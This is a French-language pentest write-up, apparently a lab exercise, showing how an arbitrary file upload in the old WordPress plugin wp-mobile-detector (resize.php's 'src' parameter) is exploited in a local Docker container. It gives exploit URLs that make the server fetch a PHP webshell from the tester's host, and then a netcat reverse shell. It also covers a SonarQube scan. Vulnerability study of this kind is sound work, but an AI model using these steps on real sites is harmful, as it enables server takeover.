🔐Pentest wp-mobile-detector
On commence tout d'abord par créer l'environnement docker.
Comme ici le plugin wordpress à auditer est assez ancien, il est nécessaire de passer par un conteneur :
# Sur ma kali
docker run --name wordpress -p80:80 -d thiagobarradas/wordpress:4.5-php7.2
MDP : Mudar123On peut ensuite s'y connecter :
# Shell dans le docker
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
208f62cd787e thiagobarradas/wordpress:4.5-php7.2 "/run.sh" 6 hours ago Up 5 hours 0.0.0.0:80->80/tcp, :::80->80/tcp, 3306/tcp wordpress
$ docker exec -it 208f62cd787e bash
# Dans le docker
root@208f62cd787e:/app#Il faut ensuite paramétrer le plugin de façon à augmenter la limite de taille et omettre la configuration du serveur FTP :
root@208f62cd787e:/app# vim php.ini
# Ajouter les directives suivantes :
upload_max_filesize = 64M
post_max_size = 128M
memory_limit = 264M
root@208f62cd787e:/app# vim wp-config.php
# De même :
define( 'FS_METHOD', 'direct' );On peut commencer à chercher les occurrences mentionnées sur le sujet dans l'archive dézippés du plugin. A savoir les requêtes HTTP utilisées en PHP à l'aide variables commençant par un "$_" :
Ici on fait un regex (expression régulière), nous permettant de trouver toutes les variables présentes dans tout les fichiers .php des fichiers présents dans l'archive.
On obtient ainsi en output :
Un détail saute aux yeux directement, il s'agit de la fonction "file_put_contents" présente dans le fichier de redimensionnement d'image "resize.php". Elle dépose un fichier passé en paramètre après "src" :
En examinant le fichier plus en détail :
"file_put_contents" fait appel ici au tableau associatif $REQUEST pouvant être manipulé par l'utilisateur. On peut donc y passer une valeur, ici un fichier, après le paramètre "src", prenant son chemin absolu, avec "dirname".
Le fichier est ensuite déposé dans le dossier "/cache/" du plugin :
De plus, aucune vérification d'extension ni sanitisation n'est faite sur la valeur passé en paramètre, qui est ici un fichier. On peut donc d'emblée essayer d'y uploader un fichier.
On commence d'abord par démarrer notre serveur Python dans u répertoire prévu à cette effet. Ici, on essaye d'abord avec un fichier .php sans rien à l'intérieur :
On accédant à la page, rien ne se trouve en front (ce qui est normal) :

Mais en insérant un paramètre dans l'url qui redirige directement vers notre fichier : http://localhost/wp-content/plugins/wp-mobile-detector/resize.php?src=http://172.18.0.1:9000/hello.php

On peut maintenant se rendre dans la page où est stockée le fichier, à savoir "/cache" :
http://localhost/wp-content/plugins/wp-mobile-detector/cache/

Notre fichier php est bien uploadé ! Sans plus attendre, on peut dès maintenant y insérer un Webshell, généré avec le superbe outil http://revshells.com :

Le fichier est désormais enregistré en tant que "shell.php". Après avoir séléctionné notre payload et mis le port et l'adresse IP, on peut mettre un netcat en listener :
Puis ensuite remplacer notre hello.php en un shell.php :
Puis on pointe notre webshell vers notre nouveau fichier : http://localhost/wp-content/plugins/wp-mobile-detector/resize.php?src=http://172.18.0.1:9000/shell.php

Puis dans notre netcat :
Et nous sommes connectés !
Analyse statique à l’aide d’un outil dédié :
On choisit d'abord de l'installer dans un Docker :
Création d'un conteneur Docker nommé "sonarqube" et l'exposer sur le port 9000 :
Se connecter en http://localhost:9000 puis créez un projet et notez sa clé :

Télécharger et installez le scanner SonarQube pour sur notre machine locale, puis l'utilisez pour analyser l'archive du plugin:
Cette commande va analyser le code PHP dans le répertoire actuel et envoyer les résultats à SonarQube.
On retourne sur l'interface web de SonarQube et accédez à votre projet. On voit maintenant voir les résultats de l'analyse de code PHP :

Rédaction d'un script python pour automatiser la tâche
Il est maintenant temps de créer un script nous permettant d'obtenit un accès complet au serveur :
On automatise ainsi directement l'attaque :

Last updated